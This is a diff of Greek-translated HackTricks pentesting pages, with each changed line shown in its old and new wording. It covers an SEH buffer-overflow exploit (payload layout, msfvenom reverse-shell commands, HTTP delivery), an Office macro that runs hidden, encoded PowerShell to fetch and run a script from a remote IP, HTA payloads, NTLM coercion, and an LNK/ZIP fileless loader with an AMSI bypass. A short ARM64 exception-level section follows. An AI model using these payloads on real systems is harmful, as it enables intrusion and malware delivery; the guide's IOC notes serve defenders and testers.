Επικύρωσε τοποθετώντας δείκτες σε αυτές τις θέσεις (π.χ., nSEH=b"BB", SEH=b"CC"). Κράτησε το συνολικό μήκος σταθερό για να κάνεις το crash αναπαραγώγιμο.
|
||||
Επιβεβαιώστε τοποθετώντας δείκτες σε αυτές τις θέσεις (π.χ., nSEH=b"BB", SEH=b"CC"). Διατηρήστε το συνολικό μήκος σταθερό για να κάνετε το crash αναπαραγώγιμο.
|
||||
|
||||
---
|
||||
|
||||
## Επιλογή ενός POP POP RET (SEH gadget)
|
||||
|
||||
Χρειάζεσαι μια ακολουθία POP POP RET για να απο-διπλώσεις το SEH frame και να επιστρέψεις στα nSEH bytes σου. Βρες την σε ένα module χωρίς SafeSEH και ιδανικά χωρίς ASLR:
|
||||
Χρειάζεστε μια ακολουθία POP POP RET για να ξετυλίξετε το SEH frame και να επιστρέψετε στα bytes του nSEH. Βρείτε το σε ένα module χωρίς SafeSEH και ιδανικά χωρίς ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` στη συνέχεια `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` για να εμφανίσεις POP POP RET gadgets και την κατάσταση SafeSEH.
|
||||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||
|
||||
Επίλεξε μια διεύθυνση που δεν περιέχει badchars όταν γραφτεί little-endian (π.χ., `p32(0x004094D8)`). Προτίμησε gadgets μέσα στο vulnerable binary αν οι προστασίες το επιτρέπουν.
|
||||
Επιλέξτε μια διεύθυνση που δεν περιέχει badchars όταν γραφτεί σε little-endian (π.χ., `p32(0x004094D8)`). Προτιμήστε gadgets μέσα στο ευάλωτο binary αν οι προστασίες το επιτρέπουν.
|
||||
|
||||
---
|
||||
|
||||
## Τεχνική jump-back (short + near jmp)
|
||||
|
||||
Το nSEH είναι μόνο 4 bytes, που χωράει το πολύ ένα 2-byte short jump (`EB xx`) συν padding. Αν πρέπει να πηδήξεις πίσω εκατοντάδες bytes για να φτάσεις στην αρχή του buffer σου, χρησιμοποίησε ένα 5-byte near jump τοποθετημένο ακριβώς πριν το nSEH και κάνε chain σε αυτό με ένα short jump από το nSEH.
|
||||
Το nSEH έχει μόνο 4 bytes, που χωράει το πολύ ένα 2-byte short jump (`EB xx`) συν padding. Αν χρειάζεται να πηδήξετε πίσω εκατοντάδες bytes για να φτάσετε στην αρχή του buffer σας, χρησιμοποιήστε ένα 5-byte near jump τοποθετημένο ακριβώς πριν από το nSEH και συνδέστε το με ένα short jump από το nSEH.
|
||||
|
||||
Με nasmshell:
|
||||
With nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
@ -61,7 +61,7 @@ EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
Ιδέα διάταξης για ένα payload 1000-byte με nSEH στο offset 660:
|
||||
Ιδέα διάταξης για ένα 1000-byte payload με nSEH στο offset 660:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
@ -71,40 +71,39 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
Execution flow:
|
||||
- Παρουσιάζεται exception, ο dispatcher χρησιμοποιεί το overwritten SEH.
|
||||
- POP POP RET ξετυλίγεται στο nSEH μας.
|
||||
- nSEH εκτελεί `jmp short -8` προς το 5-byte near jump.
|
||||
- Near jump προσγειώνεται στην αρχή του buffer μας όπου βρίσκονται το NOP sled + shellcode.
|
||||
Ροή εκτέλεσης:
|
||||
- Προκύπτει εξαίρεση, ο dispatcher χρησιμοποιεί το SEH που έχει αντικατασταθεί.
|
||||
- Η ακολουθία POP POP RET οδηγεί στο nSEH μας.
|
||||
- Το nSEH εκτελεί `jmp short -8` προς το 5-byte near jump.
|
||||
- Ο near jump προσγειώνεται στην αρχή του buffer μας, όπου βρίσκεται το NOP sled + shellcode.
|
||||
|
||||
---
|
||||
|
||||
## Κακοί χαρακτήρες
|
||||
## Απαγορευμένοι χαρακτήρες
|
||||
|
||||
Δημιουργήστε μια πλήρη badchar string και συγκρίνετε τη stack memory μετά το crash, αφαιρώντας bytes που παραμορφώνονται από τον target parser. Για HTTP-based overflows, `\x00\x0a\x0d` σχεδόν πάντα εξαιρούνται.
|
||||
Δημιούργησε ένα πλήρες badchar string και σύγκρινε τη μνήμη του stack μετά την κατάρρευση, αφαιρώντας bytes που παραμορφώνονται από τον parser του στόχου. Για HTTP-based overflows, `\x00\x0a\x0d` σχεδόν πάντα εξαιρούνται.
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
---
|
||||
## Shellcode generation (x86)
|
||||
|
||||
## Δημιουργία Shellcode (x86)
|
||||
|
||||
Χρησιμοποιήστε msfvenom με τα badchars σας. Ένα μικρό NOP sled βοηθά να αντέξει τη διακύμανση του σημείου προσγείωσης.
|
||||
Χρησιμοποιήστε msfvenom με τα badchars σας. Ένα μικρό NOP sled βοηθάει να αντέχεται η διακύμανση στη θέση εκτέλεσης.
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
Εάν παράγεται on the fly, η μορφή hex είναι βολική για ενσωμάτωση και unhex σε Python:
|
||||
Αν δημιουργείται δυναμικά, η μορφή hex είναι βολική για ενσωμάτωση και για unhex σε Python:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## Παράδοση μέσω HTTP (ακριβή CRLF + Content-Length)
|
||||
## Delivering over HTTP (precise CRLF + Content-Length)
|
||||
|
||||
Όταν ο ευάλωτος φορέας είναι το σώμα ενός αιτήματος HTTP, κατασκευάστε ένα raw request με ακριβή CRLFs και Content-Length ώστε ο server να διαβάσει ολόκληρο το υπερχειλίζον σώμα.
|
||||
Όταν το ευάλωτο σημείο εισόδου είναι το σώμα ενός HTTP request, κατασκευάστε ένα raw request με ακριβή CRLFs και Content-Length, ώστε ο server να διαβάσει ολόκληρο το σώμα που υπερχείλισε.
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
@ -127,21 +126,21 @@ p.close()
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
- x32dbg/x64dbg για να παρατηρήσετε το SEH chain και να τριάρετε το crash.
|
||||
- ERC.Xdbg (x64dbg plugin) για να απαριθμήσετε SEH gadgets: `ERC --SEH`.
|
||||
- x32dbg/x64dbg για παρατήρηση της αλυσίδας SEH και αρχική αξιολόγηση του crash.
|
||||
- ERC.Xdbg (x64dbg plugin) για να απαριθμήσει SEH gadgets: `ERC --SEH`.
|
||||
- Mona ως εναλλακτική: `!mona modules`, `!mona seh`.
|
||||
- nasmshell για να συναρμολογήσετε short/near jumps και να αντιγράψετε raw opcodes.
|
||||
- pwntools για να κατασκευάσετε ακριβή network payloads.
|
||||
- nasmshell για τη συναρμολόγηση short/near jumps και την αντιγραφή raw opcodes.
|
||||
- pwntools για τη δημιουργία ακριβών network payloads.
|
||||
|
||||
---
|
||||
|
||||
## Σημειώσεις και επιφυλάξεις
|
||||
|
||||
- Ισχύει μόνο για x86 διαδικασίες. Το x64 χρησιμοποιεί διαφορετικό SEH scheme και η εκμετάλλευση βασισμένη σε SEH γενικά δεν είναι βιώσιμη.
|
||||
- Προτιμήστε gadgets σε modules χωρίς SafeSEH και ASLR· αλλιώς, βρείτε ένα μη προστατευμένο module φορτωμένο στη διαδικασία.
|
||||
- Τα service watchdogs που επανεκκινούν αυτόματα μετά από crash μπορούν να διευκολύνουν την επαναληπτική ανάπτυξη exploit.
|
||||
- Ισχύει μόνο για x86 διεργασίες. x64 χρησιμοποιεί διαφορετικό σχήμα SEH και η εκμετάλλευση βάσει SEH γενικά δεν είναι βιώσιμη.
|
||||
- Προτιμήστε gadgets σε modules χωρίς SafeSEH και ASLR· διαφορετικά, βρείτε ένα μη προστατευμένο module που έχει φορτωθεί στη διεργασία.
|
||||
- Οι service watchdogs που επανεκκινούν αυτόματα μετά από crash μπορούν να κάνουν ευκολότερη την επαναληπτική ανάπτυξη exploit.
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
|
||||
@ -2,39 +2,39 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Έγγραφα
|
||||
## Έγγραφα Office
|
||||
|
||||
Microsoft Word εκτελεί επικύρωση δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Η επικύρωση δεδομένων πραγματοποιείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοιχτεί.
|
||||
Το Microsoft Word εκτελεί επικύρωση δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Η επικύρωση δεδομένων γίνεται με τη μορφή ταυτοποίησης της δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την ταυτοποίηση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
|
||||
|
||||
Συνήθως, τα αρχεία Word που περιέχουν macros χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατό να μετονομάσετε το αρχείο αλλάζοντας την επέκταση και να διατηρήσετε τις ικανότητες εκτέλεσης των macros.\
|
||||
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει macros, εκ προεπιλογής, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα χειριστεί το Microsoft Word και θα είναι ικανό να εκτελέσει macros.\
|
||||
Οι ίδιες εσωτερικές δομές και μηχανισμοί εφαρμόζονται σε όλο το λογισμικό της Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
Συνήθως, αρχεία Word που περιέχουν macros χρησιμοποιούν την κατάληξη `.docm`. Ωστόσο, είναι δυνατόν να μετονομαστεί το αρχείο αλλάζοντας την επέκταση και να διατηρήσει παράλληλα τη δυνατότητα εκτέλεσης των macros.\
|
||||
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει macros, κατά σχεδιασμό, αλλά ένα αρχείο DOCM μετονομασμένο σε RTF θα χειριστείται από το Microsoft Word και θα είναι ικανό για εκτέλεση macros.\
|
||||
Οι ίδιες εσωτερικές λειτουργίες και μηχανισμοί εφαρμόζονται σε όλο το λογισμικό του Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
|
||||
Μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να ελέγξετε ποιες επεκτάσεις πρόκειται να εκτελεστούν από κάποια προγράμματα Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Αρχεία DOCX που παραπέμπουν σε ένα απομακρυσμένο πρότυπο (File –Options –Add-ins –Manage: Templates –Go) που περιέχει macros μπορούν επίσης να “execute” macros.
|
||||
Τα αρχεία DOCX που αναφέρονται σε ένα απομακρυσμένο πρότυπο (File –Options –Add-ins –Manage: Templates –Go) που περιλαμβάνει macros μπορούν επίσης να εκτελέσουν macros.
|
||||
|
||||
### Εξωτερική Φόρτωση Εικόνας
|
||||
### Φόρτωση Εξωτερικής Εικόνας
|
||||
|
||||
Μεταβείτε στο: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
Μεταβείτε σε: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Σύνδεσμοι και Αναφορές, **Filed names**: includePicture, και **Όνομα αρχείου ή URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
Είναι δυνατό να χρησιμοποιηθούν macros για την εκτέλεση arbitrary code από το έγγραφο.
|
||||
Είναι δυνατό να χρησιμοποιηθούν macros για να run arbitrary code από το έγγραφο.
|
||||
|
||||
#### Συναρτήσεις Autoload
|
||||
#### Autoload functions
|
||||
|
||||
Όσο πιο κοινές είναι, τόσο πιο πιθανό είναι το AV να τις εντοπίσει.
|
||||
Όσο πιο συνηθισμένες είναι, τόσο πιο πιθανό είναι το AV να τις εντοπίσει.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Παραδείγματα Κώδικα για Macros
|
||||
#### Macros Code Examples
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -68,10 +68,10 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
Πήγαινε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα εμφανίσει το Document Inspector. Κάνε κλικ στο **Inspect** και μετά στο **Remove All** δίπλα από τα **Document Properties and Personal Information**.
|
||||
|
||||
#### Επέκταση εγγράφου
|
||||
#### Doc Extension
|
||||
|
||||
Όταν τελειώσεις, επίλεξε το αναδυόμενο μενού **Save as type**, άλλαξε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
|
||||
Κάνε το αυτό επειδή **δεν μπορείς να αποθηκεύσεις macros μέσα σε `.docx`** και υπάρχει ένα **stigma** **γύρω** από την macro-enabled **`.docm`** επέκταση (π.χ. το εικονίδιο μικρογραφίας έχει ένα μεγάλο `!` και κάποια web/email gateways τα μπλοκάρουν εντελώς). Επομένως, αυτή η **legacy `.doc` extension είναι ο καλύτερος συμβιβασμός**.
|
||||
Όταν τελειώσεις, επίλεξε το dropdown **Save as type**, άλλαξε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
|
||||
Κάνε αυτό επειδή **δεν μπορείς να αποθηκεύσεις μακροεντολές μέσα σε `.docx`** και υπάρχει ένα **στίγμα** **σχετικά** με την επέκταση ενεργοποιημένων μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και κάποια web/email gateway τα μπλοκάρουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι ο καλύτερος συμβιβασμός**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
|
||||
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
## Αρχεία HTA
|
||||
|
||||
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και scripting languages (όπως VBScript και JScript)**. Παράγει τη διεπαφή χρήστη και εκτελείται ως εφαρμογή "fully trusted", χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός browser.
|
||||
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και scripting languages (όπως VBScript και JScript)**. Δημιουργεί το περιβάλλον χρήστη και εκτελείται ως εφαρμογή «πλήρως αξιόπιστη», χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός browser.
|
||||
|
||||
Ένα HTA εκτελείται με **`mshta.exe`**, που συνήθως είναι **εγκατεστημένο** μαζί με τον **Internet Explorer**, καθιστώντας **`mshta` εξαρτώμενο από τον IE**. Έτσι, αν αυτός έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελεστούν.
|
||||
Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως είναι **εγκατεστημένο** μαζί με τον **Internet Explorer**, καθιστώντας **`mshta` εξαρτώμενο από τον IE**. Έτσι, αν αυτός έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελεστούν.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Εξαναγκασμός NTLM Authentication
|
||||
## Εξαναγκασμός NTLM authentication
|
||||
|
||||
Υπάρχουν αρκετοί τρόποι για να **force NTLM authentication "remotely"**, για παράδειγμα μπορείτε να προσθέσετε **αόρατες εικόνες** σε ηλεκτρονικά μηνύματα ή HTML που ο χρήστης θα ανοίξει (even HTTP MitM?). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **προκαλέσει** μια **authentication** μόνο με το **άνοιγμα του φακέλου.**
|
||||
Υπάρχουν αρκετοί τρόποι να **εξαναγκάσετε NTLM authentication "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που ο χρήστης θα προσπελάσει (ακόμη και HTTP MitM?). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **προκαλέσει** μια **authentication** απλώς με το **άνοιγμα του φακέλου.**
|
||||
|
||||
**Δείτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
|
||||
**Ελέγξτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ self.close
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Μην ξεχνάτε ότι δεν μπορείτε μόνο να κλέψετε το hash ή την authentication αλλά και να **perform NTLM relay attacks**:
|
||||
Μην ξεχνάτε ότι δεν μπορείτε μόνο να κλέψετε το hash ή την authentication αλλά και να **εκτελέσετε NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Ισχυρές καμπάνιες παραδίδουν ένα ZIP που περιέχει δύο νόμιμα decoy documents (PDF/DOCX) και ένα κακόβουλο .lnk. Το κόλπο είναι ότι ο πραγματικός PowerShell loader είναι αποθηκευμένος μέσα στα raw bytes του ZIP μετά από έναν μοναδικό marker, και το .lnk τον εξάγει και τον τρέχει πλήρως στη μνήμη.
|
||||
Οι ιδιαίτερα αποτελεσματικές καμπάνιες παραδίδουν ένα ZIP που περιέχει δύο νόμιμα παραπλανητικά έγγραφα (PDF/DOCX) και ένα κακόβουλο .lnk. Το κόλπο είναι ότι ο πραγματικός PowerShell loader αποθηκεύεται μέσα στα raw bytes του ZIP μετά από ένα μοναδικό marker, και το .lnk τον εξάγει και τον τρέχει πλήρως στη μνήμη.
|
||||
|
||||
Τυπική ροή που υλοποιείται από το .lnk PowerShell one-liner:
|
||||
|
||||
1) Εντοπίζει το αρχικό ZIP σε κοινούς φακέλους: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, και τον γονικό φάκελο του τρέχοντος καταλόγου εργασίας.
|
||||
2) Διαβάζει τα bytes του ZIP και βρίσκει έναν hardcoded marker (π.χ., xFIQCV). Ό,τι βρίσκεται μετά τον marker είναι το ενσωματωμένο PowerShell payload.
|
||||
3) Αντιγράφει το ZIP σε %ProgramData%, το εξάγει εκεί, και ανοίγει το decoy .docx για να φαίνεται νόμιμο.
|
||||
4) Bypass-άρει το AMSI για τη τρέχουσα διεργασία: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Απο-αποκωδικοποιεί το επόμενο στάδιο (π.χ., αφαιρεί όλα τα # χαρακτήρες) και το εκτελεί στη μνήμη.
|
||||
1) Εντοπίστε το αρχικό ZIP σε κοινές τοποθεσίες: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, και τον parent of the current working directory.
|
||||
2) Διαβάστε τα ZIP bytes και βρείτε ένα hardcoded marker (π.χ., xFIQCV). Όλα όσα ακολουθούν το marker είναι το embedded PowerShell payload.
|
||||
3) Αντιγράψτε το ZIP στο %ProgramData%, εξάγετε εκεί, και ανοίξτε το decoy .docx για να φαίνεται νόμιμο.
|
||||
4) Παρακάμψτε το AMSI για τη τρέχουσα διαδικασία: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscate το επόμενο στάδιο (π.χ., αφαιρέστε όλους τους χαρακτήρες #) και εκτελέστε το στη μνήμη.
|
||||
|
||||
Παράδειγμα PowerShell σκελετού για να εξάγει και να εκτελέσει το ενσωματωμένο στάδιο:
|
||||
Παράδειγμα PowerShell skeleton για να carve και να τρέξετε το embedded στάδιο:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Σημειώσεις
|
||||
- Η παράδοση συχνά καταχράται αξιόπιστους υποτομείς PaaS (π.χ., *.herokuapp.com) και μπορεί να gate τα payloads (σερβίρει benign ZIPs βάσει IP/UA).
|
||||
- Η παράδοση συχνά καταχράται αξιόπιστα υποτομείς PaaS (π.χ., *.herokuapp.com) και μπορεί να περιορίζει τα payloads (σερβίροντας benign ZIPs βάσει IP/UA).
|
||||
- Το επόμενο στάδιο συχνά αποκρυπτογραφεί base64/XOR shellcode και το εκτελεί μέσω Reflection.Emit + VirtualAlloc για να ελαχιστοποιήσει τα ίχνη στο δίσκο.
|
||||
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking του Microsoft Web Browser control ώστε το IE/Explorer ή οποιαδήποτε εφαρμογή που το ενσωματώνει να επανεκκινεί το payload αυτόματα. Δείτε λεπτομέρειες και έτοιμες εντολές εδώ:
|
||||
Persistence που χρησιμοποιείται στην ίδια αλυσίδα
|
||||
- COM TypeLib hijacking του Microsoft Web Browser control έτσι ώστε το IE/Explorer ή οποιαδήποτε εφαρμογή που το ενσωματώνει να επανεκκινεί το payload αυτόματα. Δείτε λεπτομέρειες και έτοιμες εντολές εδώ:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files που περιέχουν τη συμβολοσειρά δείκτη ASCII (π.χ., xFIQCV) προστιθέμενη στα δεδομένα του αρχείου.
|
||||
- .lnk που απαριθμεί γονικούς/φακέλους χρήστη για να εντοπίσει το ZIP και ανοίγει ένα παραπλανητικό έγγραφο.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Μακροχρόνια business threads που καταλήγουν σε links φιλοξενούμενα σε αξιόπιστους PaaS domains.
|
||||
- ZIP αρχεία που περιέχουν την ASCII marker συμβολοσειρά (π.χ., xFIQCV) προσαρτημένη στα δεδομένα του αρχείου.
|
||||
- .lnk που απαριθμεί parent/user φακέλους για να εντοπίσει το ZIP και ανοίγει ένα decoy document.
|
||||
- AMSI παραποίηση μέσω [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Μακροχρόνιες business threads που τελειώνουν με links hosted under trusted PaaS domains.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -4,252 +4,255 @@
|
||||
|
||||
## **Επίπεδα Εξαίρεσης - EL (ARM64v8)**
|
||||
|
||||
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαίρεσης (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, που κυμαίνονται από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:
|
||||
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Exception Levels (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:
|
||||
|
||||
1. **EL0 - Λειτουργία Χρήστη**:
|
||||
- Αυτό είναι το λιγότερο προνομιακό επίπεδο και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογής.
|
||||
- Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες η μία από την άλλη και από το λογισμικό του συστήματος, ενισχύοντας την ασφάλεια και τη σταθερότητα.
|
||||
2. **EL1 - Λειτουργία Πυρήνα Λειτουργικού Συστήματος**:
|
||||
- Οι περισσότεροι πυρήνες λειτουργικών συστημάτων εκτελούνται σε αυτό το επίπεδο.
|
||||
- Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους του συστήματος, αλλά με ορισμένους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.
|
||||
3. **EL2 - Λειτουργία Υπερχειριστή**:
|
||||
- Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερχειριστής που εκτελείται στο EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (το καθένα στο δικό του EL1) που εκτελούνται στο ίδιο φυσικό υλικό.
|
||||
- Το EL2 παρέχει δυνατότητες για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.
|
||||
4. **EL3 - Λειτουργία Ασφαλούς Παρακολούθησης**:
|
||||
- Αυτό είναι το πιο προνομιακό επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και αξιόπιστα περιβάλλοντα εκτέλεσης.
|
||||
- Το EL3 μπορεί να διαχειρίζεται και να ελέγχει τις προσβάσεις μεταξύ ασφαλών και μη ασφαλών καταστάσεων (όπως ασφαλής εκκίνηση, αξιόπιστο λειτουργικό σύστημα κ.λπ.).
|
||||
1. **EL0 - User Mode**:
|
||||
- Πρόκειται για το λιγότερο προνομιούχο επίπεδο και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
|
||||
- Οι εφαρμογές που τρέχουν σε EL0 είναι απομονωμένες μεταξύ τους και από το σύστημα λογισμικού, ενισχύοντας την ασφάλεια και τη σταθερότητα.
|
||||
2. **EL1 - Operating System Kernel Mode**:
|
||||
- Τα περισσότερα λειτουργικά συστήματα εκτελούν τον kernel τους σε αυτό το επίπεδο.
|
||||
- Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να προσπελάσει πόρους συστήματος, αλλά με κάποιους περιορισμούς για να διατηρεί την ακεραιότητα του συστήματος.
|
||||
3. **EL2 - Hypervisor Mode**:
|
||||
- Αυτό το επίπεδο χρησιμοποιείται για virtualization. Ένας hypervisor που τρέχει σε EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (το καθένα στο δικό του EL1) που τρέχουν στο ίδιο φυσικό υλικό.
|
||||
- Το EL2 παρέχει δυνατότητες απομόνωσης και ελέγχου των εικονικοποιημένων περιβαλλόντων.
|
||||
4. **EL3 - Secure Monitor Mode**:
|
||||
